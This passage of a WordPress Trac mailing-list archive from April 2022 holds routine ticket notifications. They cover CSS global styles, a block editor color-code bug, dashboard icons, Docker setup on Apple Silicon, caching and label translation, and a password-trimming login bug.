automatically was not possible. This is the URL rewrite rule you should have in your `web.config` file. Click in the field and press `Ctrl + A` (or `⌘ + A` on Mac) to select all. Then insert this rule inside of the `/<configuration>/<system.webServer>/<rewrite>/<rules>` element in `web.config` file. 2. If you temporarily make your `web.config` file writable to generate rewrite rules automatically, do not forget to revert the permissions after the rule has been saved. ==== root directory is not writable to edit `web.config` 1. Error: The root directory of your site is not [https://wordpress.org/support/article/changing-file-permissions/ writable], so creating a file automatically was not possible. Create a new file called `web.config` in the root directory of your site. Then select and copy the URL rewrite rule below, and insert the entire code into the `web.config` file. Error: The root directory of your site is not [https://wordpress.org/support/article/changing-file-permissions/ writable], so creating a file automatically was not possible. This is the URL rewrite rule you should have in your `web.config` file. Create a new file called `web.config` in the root directory of your site. Click in the field and press `Ctrl + A` (or `⌘ + A`) to select all. Then insert this code into the `web.config` file. 2. If you temporarily make your site's root directory writable to generate the `web.config` file automatically, do not forget to revert the permissions after the file has been created. ==== `.htaccess` is not writable 1. Error: Your `.htaccess` file is not [https://wordpress.org/support/article/changing-file-permissions/ writable], so updating it automatically was not possible. These are the mod_rewrite rules you should have in your `.htaccess` file. Click in the field and press `Ctrl + A` (or `⌘ + A` on Mac) to select all. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53141#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 11:24:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 11:24:36 -0000 Subject: [wp-trac] [WordPress Trac] #55518: Global styles variables and the specificity problem Message-ID: <051.4a7422731c4fb49ec538f215033ac566@wordpress.org> #55518: Global styles variables and the specificity problem --------------------------+----------------------------- Reporter: gyurmey | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: normal | Keywords: Focuses: css | --------------------------+----------------------------- [https://wordpress.org/support/topic/global-styles-2/ Details] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55518> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 11:43:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 11:43:23 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.77c4c0b2005b6e81e62057b9a0b9a56b@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53056" 53056]: {{{ #!CommitTicketReference repository="" revision="53056" Docs: Use correct format for multi-line comments in `the_block_editor_meta_boxes()`. Follow-up to [44131], [44260]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:57> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 12:13:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 12:13:08 -0000 Subject: [wp-trac] [WordPress Trac] #55518: Global styles variables and the specificity problem In-Reply-To: <051.4a7422731c4fb49ec538f215033ac566@wordpress.org> References: <051.4a7422731c4fb49ec538f215033ac566@wordpress.org> Message-ID: <066.5b0f1b22a9472fd76629f5cf670fd893@wordpress.org> #55518: Global styles variables and the specificity problem --------------------------+-------------------------------- Reporter: gyurmey | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Themes | Version: Severity: normal | Resolution: reported-upstream Keywords: | Focuses: css --------------------------+-------------------------------- Changes (by ocean90): * status: assigned => closed * component: General => Themes * version: 5.9.2 => * milestone: Awaiting Review => * resolution: => reported-upstream Old description: > [https://wordpress.org/support/topic/global-styles-2/ Details] New description: Hi, I am trying to use global variables for the html tag but they are declared for the body tag and there are CSS cascading issues. Is there any filter to change the body tag to :root or html? Instead of this: {{{ <style id='global-styles-inline-css'> body {--wp--preset--color--background: #f8f5f2; [...] </style> }}} I'd like it {{{ <style id='global-styles-inline-css'> :root {--wp--preset--color--background: #f8f5f2; [...] </style> }}} Is it possible? I have hot no idea how to fix it. Previously reproted in https://wordpress.org/support/topic/global- styles-2/. -- Comment: Hello @gyurmey, welcome to WordPress Trac! Thanks for the report. For issues with the block editor we are using the [https://github.com/WordPress/gutenberg Gutenberg GitHub repo] and there's already an issue for this at https://github.com/WordPress/gutenberg/issues/35840. Closing therefore as ''reported-upstream''. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55518#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 12:17:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 12:17:02 -0000 Subject: [wp-trac] [WordPress Trac] #54702: Feature Request: Broad control over typography in Global Styles In-Reply-To: <050.8fdc1447a1c5f79edac684b9a573ee2f@wordpress.org> References: <050.8fdc1447a1c5f79edac684b9a573ee2f@wordpress.org> Message-ID: <065.4057d5068b573bdb13ed2a5ea92fa4b5@wordpress.org> #54702: Feature Request: Broad control over typography in Global Styles -------------------------+-------------------------------- Reporter: sdwire | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Component: Editor | Version: 5.9 Severity: normal | Resolution: reported-upstream Keywords: | Focuses: -------------------------+-------------------------------- Changes (by ocean90): * status: new => closed * resolution: => reported-upstream * component: Customize => Editor * milestone: Awaiting Review => Comment: Hello @sdwire, welcome to WordPress Trac! Posting this on GitHub was actually the right choice here. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54702#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 14:00:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 14:00:02 -0000 Subject: [wp-trac] [WordPress Trac] #55519: In Block editor: Copying and inserting color codes makes them invalid Message-ID: <054.30bea59f6774efbd1c25d06f4e00bddd@wordpress.org> #55519: In Block editor: Copying and inserting color codes makes them invalid --------------------------+----------------------------- Reporter: treebranch | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.2 Severity: normal | Keywords: Focuses: ui | --------------------------+----------------------------- When you copy a color code from a block by clicking the color code via the color selection menu, it is automatically copied in this format: #000000 However, when inserting a color code in the textfield of the color selection menu, the string of text is automatically truncated at 6 characters, which leaves the user with #00000, an invalid color code which always results in the color black. The best solution would be for the text field to be able to accept both color codes with and without the #. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55519> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 14:08:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 14:08:47 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2355520=3A_merhaba_en_s?= =?utf-8?q?on_yapm=C4=B1=C5=9F_oldunuz_WordPress_5=2E9=2E2_g=C3=BCncelemme?= =?utf-8?q?_Yoast_SEO_a=C3=A7m=C4=B1yor_yaz=C4=B1lar_g=C3=B6nderileri_a?= =?utf-8?q?=C3=A7m=C4=B1yor_lutfen_bunu_d=C3=BCzeltilmesini_rica_ediyorum_?= =?utf-8?q?_b=C3=BCy=C3=BCk_sitede_sorun_oldu?= Message-ID: <054.3b863b8bcdd7f1da09b5e7b3f293504a@wordpress.org> #55520: merhaba en son yapmış oldunuz WordPress 5.9.2 güncelemme Yoast SEO açmıyor yazılar gönderileri açmıyor lutfen bunu düzeltilmesini rica ediyorum büyük sitede sorun oldu --------------------------+----------------------------- Reporter: bakiyisite | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: critical | Keywords: Focuses: | --------------------------+----------------------------- merhaba en son yapmış oldunuz WordPress 5.9.2 güncelemme Yoast SEO açmıyor yazılar gönderileri açmıyor lutfen bunu düzeltilmesini rica ediyorum büyük sitede sorun oldu -- Ticket URL: <https://core.trac.wordpress.org/ticket/55520> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 18:06:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 18:06:18 -0000 Subject: [wp-trac] [WordPress Trac] #55521: Use dashicons-class in `wp_dashboard_quota` and `wp_dashboard_right_now` Message-ID: <050.b495e5e8f363f605fe7d480cc88da243@wordpress.org> #55521: Use dashicons-class in `wp_dashboard_quota` and `wp_dashboard_right_now` -------------------------------------+----------------------------- Reporter: kebbet | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: 3.8 Severity: normal | Keywords: needs-patch Focuses: ui, css, administration | -------------------------------------+----------------------------- Proposal: Replace hardcoded css-rules for each item in the `At a Glance`-widget, use dashicons-classes for each item. This makes adding new items to the widget easier, simply just add a `dashicons-before`-class the your new items. Background: So using `dashboard_glance_items` to add custom items to the post list is easy, but changing icons without adding new css with a file or inline to the admin views is hard, since the hardcoded rules overrides `dashicons- before` on my added items. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55521> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 18:11:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 18:11:11 -0000 Subject: [wp-trac] [WordPress Trac] #55521: Use dashicons-class in `wp_dashboard_quota` and `wp_dashboard_right_now` In-Reply-To: <050.b495e5e8f363f605fe7d480cc88da243@wordpress.org> References: <050.b495e5e8f363f605fe7d480cc88da243@wordpress.org> Message-ID: <065.985f249f0164da85d03e43c013310c19@wordpress.org> #55521: Use dashicons-class in `wp_dashboard_quota` and `wp_dashboard_right_now` ----------------------------+-------------------------------------- Reporter: kebbet | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: 3.8 Severity: normal | Resolution: Keywords: needs-patch | Focuses: ui, css, administration ----------------------------+-------------------------------------- Changes (by kebbet): * keywords: has-patch => needs-patch Comment: So now when using `dashboard_glance_items` I can add icons to items with `<a class="dashicons-before dashicons-carrot" href="?edit">` instead of adding custom CSS-files or inline CSS to my plugin. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55521#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 19:39:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 19:39:13 -0000 Subject: [wp-trac] [WordPress Trac] #52356: npm install does not work on wordpress-trunk on new Mac M1's In-Reply-To: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> References: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> Message-ID: <071.71d5f9699515aaaf53f2e9a97b3ad98e@wordpress.org> #52356: npm install does not work on wordpress-trunk on new Mac M1's -------------------------------+------------------------------ Reporter: justinahinon | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: 5.7 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: -------------------------------+------------------------------ Comment (by afragen): Also for Apple Silicon you might need to add the following to your `docker-compose.yml` under the `mysql` section so that the correct version of mysql will be used. {{{ mysql: platform: linux/amd64 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/52356#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 20:14:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 20:14:53 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.a7b81e57921326fbf5b3b7b06eb49c8c@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js ----------------------------------+---------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Comment (by joedolson): I'm not seeing why removing `data` from that array is triggering a tests failure, either. Looks like it can be set to empty, since it's overridden in the response. It certainly feels like it should be omittable if it's going to be empty, but since it's a default argument, the handler will put it back in the array in the `add` method. So in aggregate, I don't think there's any benefit to omitting the argument. Might need a comment to explain the duplication and/or omission, however, unless we identify why the test is failing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 23:56:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 23:56:28 -0000 Subject: [wp-trac] [WordPress Trac] #26746: Avoid translating several times post type and taxonomy default labels In-Reply-To: <050.ffb69c1467709412179c846d3531474f@wordpress.org> References: <050.ffb69c1467709412179c846d3531474f@wordpress.org> Message-ID: <065.4b9d11d66842ecb14c6e87c4c2132c2d@wordpress.org> #26746: Avoid translating several times post type and taxonomy default labels -------------------------------------------------+------------------------- Reporter: Chouby | Owner: | SergeyBiryukov Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: 3.0 Severity: normal | Resolution: Keywords: has-patch early commit needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: has-patch early => has-patch early commit needs-dev-note Comment: [https://github.com/WordPress/wordpress-develop/pull/2404 Linked pull request] looks good for commit. I've added `needs-dev-note` as I think it would be good to alert multilingual plugins. I don't think it needs to be a full dev note, just a mention in a grouped note for developer or i18n changes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/26746#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 00:13:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 00:13:13 -0000 Subject: [wp-trac] [WordPress Trac] #6: the_excerpt() on non-excerpt posts doesn't stripslashes In-Reply-To: <059.e1130f083f80ebdd3e4a5beb19d38e3a@wordpress.org> References: <059.e1130f083f80ebdd3e4a5beb19d38e3a@wordpress.org> Message-ID: <074.21b2f01baa4cdff83b636fef5eed91e0@wordpress.org> #6: the_excerpt() on non-excerpt posts doesn't stripslashes --------------------------------------+--------------------- Reporter: anonymousbugger | Owner: ryan Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Template | Version: Severity: minor | Resolution: fixed Keywords: has-patch has-unit-tests | --------------------------------------+--------------------- Changes (by prbot): * keywords: => has-patch has-unit-tests Comment: ''This ticket was mentioned in [https://github.com/WordPress/wordpress- develop/pull/2500 PR #2500] on [https://github.com/WordPress/wordpress- develop/ WordPress/wordpress-develop] by [https://github.com/ramonjd ramonjd].'' 🚧 Adding this diff pending discussion. This diff migrates block support spacing and associated tests from Gutenberg 12.9.0 to WordPress 6.0 The goal is to include the latest plugin, while skipping the Style Engine integration. The Style Engine class doesn't bring any new functionality - it's more of a first iteration in a set of long-term changes. In summary: - Include individual serialization changes from https://github.com/WordPress/gutenberg/commit/6de16981c7fef3db7cc4a9d6cfcb0ad85c916c62 - Skip Style Engine integration from https://github.com/WordPress/gutenberg/commit/44925a947fde29feaab512e0adf4291272209d59` Trac ticket: TBD -- Ticket URL: <https://core.trac.wordpress.org/ticket/6#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 00:38:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 00:38:24 -0000 Subject: [wp-trac] [WordPress Trac] #55425: Customize: Fetch presence of published pages more optimally (refactor) In-Reply-To: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> References: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> Message-ID: <065.7c16bc22b5509410a3d4ac63a6c5ca46@wordpress.org> #55425: Customize: Fetch presence of published pages more optimally (refactor) -------------------------------------+----------------------------- Reporter: nagpai | Owner: nagpai Type: enhancement | Status: assigned Priority: normal | Milestone: Future Release Component: Customize | Version: 4.7 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: performance -------------------------------------+----------------------------- Changes (by peterwilsoncc): * focuses: => performance -- Ticket URL: <https://core.trac.wordpress.org/ticket/55425#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 01:03:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 01:03:59 -0000 Subject: [wp-trac] [WordPress Trac] #55425: Customize: Fetch presence of published pages more optimally (refactor) In-Reply-To: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> References: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> Message-ID: <065.159fd26fc9ff2d53e7f5abbeb5ca808c@wordpress.org> #55425: Customize: Fetch presence of published pages more optimally (refactor) -------------------------------------+-------------------------- Reporter: nagpai | Owner: nagpai Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.7 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: performance -------------------------------------+-------------------------- Changes (by peterwilsoncc): * milestone: Future Release => 6.0 Comment: I've moved this on the the 6.0 milestone as it appears to be a quick performance win. To make sure the unit tests still pass, I've set up a [https://github.com/WordPress/wordpress-develop/pull/2501 linked pull request]. @nagpai I made some [https://github.com/WordPress/wordpress- develop/pull/2501/commits/654c1e298905fa9444c77e6464e33a184824213e minor white space changes] to your patch to observe [https://developer.wordpress.org/coding-standards/wordpress-coding- standards/php/ the WordPress PHP coding standards]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55425#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 01:24:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 01:24:11 -0000 Subject: [wp-trac] [WordPress Trac] #55425: Customize: Fetch presence of published pages more optimally (refactor) In-Reply-To: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> References: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> Message-ID: <065.e37705e93624648d6b3e193fc040357e@wordpress.org> #55425: Customize: Fetch presence of published pages more optimally (refactor) -------------------------------------+-------------------------- Reporter: nagpai | Owner: nagpai Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: performance -------------------------------------+-------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53057" 53057]: {{{ #!CommitTicketReference repository="" revision="53057" Customizer: Improve performance checking for published pages. Improve the performance of `WP_Customize_Manager::has_published_pages()` by limiting the database query to a single published page, down from querying all published pages. Props nagpai, dlh, tyxla. Fixes #55425. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55425#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 03:15:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 03:15:17 -0000 Subject: [wp-trac] [WordPress Trac] #35500: Login page: user can change password on " " but can't log in with new password. In-Reply-To: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> References: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> Message-ID: <069.3425395a6c0792b875806e615976c467@wordpress.org> #35500: Login page: user can change password on " " but can't log in with new password. -------------------------------------------------+------------------------- Reporter: antonrinas | Owner: | hellofromTonya Type: defect (bug) | Status: assigned Priority: lowest | Milestone: 6.0 Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh needs- | Focuses: testing | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: has-patch has-testing-info commit => has-patch needs-refresh needs-testing Comment: Doing some branch testing with JavaScript disabled. Entering ` space` (please note the leading space) in both the password and confirmation fields results in the error message "Error: The passwords do not match." This is because the password field, `pass1`, is trimmed but the confirmation field, `pass2`, is not. If WordPress must preprocess password fields, then the confirmation field will need to be preprocessed too. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35500#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 03:48:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 03:48:25 -0000 Subject: [wp-trac] [WordPress Trac] #26746: Avoid translating several times post type and taxonomy default labels In-Reply-To: <050.ffb69c1467709412179c846d3531474f@wordpress.org> References: <050.ffb69c1467709412179c846d3531474f@wordpress.org> Message-ID: <065.69372668e7fb20ef301170c89e676f9a@wordpress.org> #26746: Avoid translating several times post type and taxonomy default labels -------------------------------------------------+------------------------- Reporter: Chouby | Owner: | SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: 3.0 Severity: normal | Resolution: fixed Keywords: has-patch early commit needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53058" 53058]: {{{ #!CommitTicketReference repository="" revision="53058" Posts, Post Types; Taxonomy: Translate default labels once. Improve the translation of post type and taxonomy labels by caching the translations during runtime. To account for internationalisation plugins, the runtime cache is cleared as the post types/taxonomies are reinitiated on `change_local` hook. The same property and methods are added to both `WP_Post_Type` and `WP_Taxonomy`: * `$default_labels`: for storing the translated strings at runtime * `get_default_labels()`: for getting the default labels, these are translated on the first run and stored in the new property. * `reset_default_labels()`: to clear the runtime cache and force a re- translation of the default labels Props Chouby, nacin, SergeyBiryukov, Rarst, chriscct7, ocean90, audrasjb, costdev. Fixes #26746. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/26746#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 04:32:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 04:32:22 -0000 Subject: [wp-trac] [WordPress Trac] #36904: Add caching to comment feed in WP_Query In-Reply-To: <056.a7220e02c040e8d844716ba5ba128229@wordpress.org> References: <056.a7220e02c040e8d844716ba5ba128229@wordpress.org> Message-ID: <071.6c097242110888f8d519ec4436806461@wordpress.org> #36904: Add caching to comment feed in WP_Query ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Query | Version: 2.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: performance ---------------------------------------------+--------------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests => has-patch has-unit-tests commit Comment: [https://github.com/WordPress/wordpress-develop/pull/2194 PR#2194] looks good to me. I've merged in a fresh copy of trunk to get it ready for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/36904#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 04:34:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 04:34:46 -0000 Subject: [wp-trac] [WordPress Trac] #36907: Improved sticky post query In-Reply-To: <056.3d869f6613968a9b112cc6108cfa738f@wordpress.org> References: <056.3d869f6613968a9b112cc6108cfa738f@wordpress.org> Message-ID: <071.d56706cd2cf15b31a1044b1a7fa4be06@wordpress.org> #36907: Improved sticky post query --------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Query | Version: 3.5 Severity: normal | Resolution: Keywords: | Focuses: performance --------------------------+--------------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests => Comment: Just tidying up keywords to keep reports clean. @spacedmonkey I presume you're keeping this open to monitor, are you able to close once you're happy. -- Ticket URL: <https://core.trac.wordpress.org/ticket/36907#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 04:37:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 04:37:18 -0000 Subject: [wp-trac] [WordPress Trac] #38197: Update Pingback function To Add Return In-Reply-To: <052.5dccca3f7b2d0dfeda445aede5477115@wordpress.org> References: <052.5dccca3f7b2d0dfeda445aede5477115@wordpress.org> Message-ID: <067.3907dd35e6c9525ba8cbcf6f82653170@wordpress.org> #38197: Update Pingback function To Add Return -------------------------------------------------+------------------------- Reporter: dshanske | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Pings/Trackbacks | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch needs- | Focuses: unit-tests | performance -------------------------------------------------+------------------------- Comment (by peterwilsoncc): Replying to [comment:30 ironprogrammer]: > This PR will include unit tests for `pingback`, but their completion is blocked by #30580. The issue is that HTML entities in the local test pingback URLs are stripped by `wp_extract_urls`. I'll shift to the other ticket before being able to wrap this up. The `wp_extract_urls()` changes were committed a few days ago so you should be unblocked now. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38197#comment:33> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 04:40:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 04:40:49 -0000 Subject: [wp-trac] [WordPress Trac] #55512: Gallery gap adjustment in Gutenberg 12.9.0 does not work In-Reply-To: <052.ec3b8aa8af75e0e600fa20033f017c63@wordpress.org> References: <052.ec3b8aa8af75e0e600fa20033f017c63@wordpress.org> Message-ID: <067.d17f816b28d9e26368037e51a7e41c8c@wordpress.org> #55512: Gallery gap adjustment in Gutenberg 12.9.0 does not work --------------------------+------------------------------ Reporter: burnuser | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Gallery | Version: 5.9.2 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by glendaviesnz): Thanks for reporting @burnuser. I wasn't able to replicate this in a 5.9.2 install with the latest Gutenberg on TwentyTwentyTwo: [[Image(https://media0.giphy.com/media/4iQSCg0sRfO3iPpRhu/giphy.gif?cid=790b76116f48163f43567c8a620ae0f4178e094d222b2711&rid=giphy.gif&ct=g)]] Are you able to provide a link to frontend page where the gallery is doing this? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55512#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 04:44:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 04:44:13 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.5bc426d0a8a9096bdd41008345f8bec0@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Changes (by peterwilsoncc): * keywords: has-patch => needs-patch Comment: Keyword updates to keep the reports clean. @spacedmonkey do you have bandwidth to follow this up this week? HTML unseen, George's suggestion of a hidden field make sense to me. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:96> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 04:50:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 04:50:13 -0000 Subject: [wp-trac] [WordPress Trac] #46122: Code cleanup on $role_links to follow precedent from 46112 In-Reply-To: <059.4deb77cf64139c7a065a9bd8b030dd46@wordpress.org> References: <059.4deb77cf64139c7a065a9bd8b030dd46@wordpress.org> Message-ID: <074.206ba0e9ab7aa4149fee3720e0d1d442@wordpress.org> #46122: Code cleanup on $role_links to follow precedent from 46112 -----------------------------------------+------------------------------- Reporter: garrett-eclipse | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: Component: Users | Version: Severity: normal | Resolution: maybelater Keywords: has-patch close 2nd-opinion | Focuses: coding-standards -----------------------------------------+------------------------------- Changes (by peterwilsoncc): * status: reviewing => closed * resolution: => maybelater * milestone: 6.0 => Comment: Per suggestion above, I am closing this in favour of #42066, which has the goal of standardising the get_views method across all list tables. -- Ticket URL: <https://core.trac.wordpress.org/ticket/46122#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 04:55:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 04:55:48 -0000 Subject: [wp-trac] [WordPress Trac] #42066: List tables: consider a new method to generate the views links markup In-Reply-To: <051.76778ccdc3d50d70f0d19e3935e91c2d@wordpress.org> References: <051.76778ccdc3d50d70f0d19e3935e91c2d@wordpress.org> Message-ID: <066.d9da8a463e33978aa43ff222f4ac628d@wordpress.org> #42066: List tables: consider a new method to generate the views links markup -------------------------------------+----------------------------- Reporter: afercia | Owner: costdev Type: enhancement | Status: assigned Priority: normal | Milestone: 